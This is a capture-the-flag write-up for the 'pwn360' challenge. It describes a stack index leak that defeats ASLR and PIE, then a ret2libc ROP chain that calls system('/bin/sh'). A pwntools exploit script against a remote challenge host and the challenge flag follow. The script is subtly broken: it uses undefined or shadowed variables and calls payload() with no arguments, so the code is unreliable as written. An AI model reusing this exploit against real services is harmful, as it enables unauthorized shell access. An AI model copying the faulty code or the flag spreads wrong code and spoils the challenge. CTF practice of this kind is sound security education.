pwn360
Information
- category: pwn
- points: 1000
Description
None
Write-up
This challenge provides a way to leak memory directly from the stack using a controlled index. With this capability, we can bypass both ASLR and PIE protections.
Step 1: Stack Leak to Defeat ASLR
By using the negative index (e.g., -3
), we are able to leak a return address from the stack. In our case, the leak shows an address that lies within the puts
function — specifically something like puts+0x1fa
. This is very useful because if we know the offset of puts
within libc, we can subtract it from the leaked address to compute the base address of libc.
Step 2: Why ret2libc?
Looking at the binary, we find:
- PIE and ASLR are enabled.
- There are no useful gadgets (like
pop rdi; ret
) inside the binary. - But once we leak libc, we can use libc ROP gadgets, including
system()
. This makes the ret2libc technique the most viable option.
Step 3: Exploiting ret2libc
After finding the libc base from the puts
leak, we:
- Compute the address of
system()
in libc. - Find the string
"/bin/sh"
(either from libc or push it on the stack). - Find a gadget like
pop rdi; ret
in libc. - Overwrite the return address using the leakable index to set up a ROP chain:
pop rdi; ret → "/bin/sh" → system()
Step 4: Stack Offset
Using debugging tools like pwndbg
, we determine that the offset to the return address is 0x58
(88) bytes. This helps in crafting the payload correctly.
Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python3
from pwn import *
exe = ELF("./pwn360_patched_patched")
libc = ELF("./libc.so.6")
context.binary = exe
offset_ret = 0x58
offset_puts = (0x1fa - 0x87be0)
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("cyberwarriors-challenges.skidz.io", 7001)
return r
def leak(r):
payload =b"A"*offset_ret
r.sendline(b"-3")
r.recvuntil(b"Leaking for you: ")
leak = int(r.recvline().strip().decode(),16) - offset_puts
log.success(f"libase: {hex(leak)}.")
return leak
def payload(r,base):
libc.address = leak
rop = ROP(libc)
pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]
ret = rop.find_gadget(['ret'])[0]
system = libc.sym['system']
binsh = next(libc.search(b"/bin/sh"))
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
return payload
def main():
r = conn()
base = leak(r)
payload = payload()
r.send(payload)
r.interactive()
if __name__ == "__main__":
main()
Flag
Flag:
NCSC{p0p1n6_5h3ll5_h4v3_4n07h3r_74573}